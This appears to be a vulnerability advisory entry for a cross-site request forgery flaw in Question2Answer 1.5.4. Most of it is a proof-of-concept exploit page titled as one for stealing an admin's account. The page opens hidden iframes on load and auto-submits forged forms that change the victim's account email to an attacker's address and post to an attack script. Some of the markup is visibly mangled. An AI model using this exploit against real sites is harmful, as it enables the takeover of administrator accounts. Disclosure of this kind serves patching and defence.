source: https://www.securityfocus.com/bid/58414/info
Question2Answer is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.
Question2Answer 1.5.4is vulnerable; other versions may also be affected.<html><head><title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://www.example.com</title></head><body onLoad="StartCSRF()"><script>
function StartCSRF(){for(var i=1;i<=2;i++){
var ifr = document.createElement("iframe");
ifr.setAttribute('name','csrf'+i);
ifr.setAttribute('width','0');
ifr.setAttribute('height','0');
document.body.appendChild(ifr);}
CSRF1();
setTimeout(CSRF2,1000);}
function CSRF1(){
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/account"; method="post">n<inputtype="hidden"
name="handle" value="test">n<inputtype="hidden" name="email"
value="email () attacker com">n<inputtype="hidden" name="messages"
value="1">n<inputtype="hidden" name="mailings" value="1">n<inputtype="hidden" name="field_1" value="test">n<inputtype="hidden"
name="field_2" value="test">n<inputtype="hidden" name="field_3"
value="test">n<inputtype="hidden" name="dosaveprofile"
value="1">n</form>';
window.frames["csrf1"].document.hack.submit();}
function CSRF2(){
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://www.example.com/attack.php"; method="post">n<inputtype="hidden"
name="do" value="1">n</form>';
window.frames["csrf2"].document.hack.submit();}</script></body></html>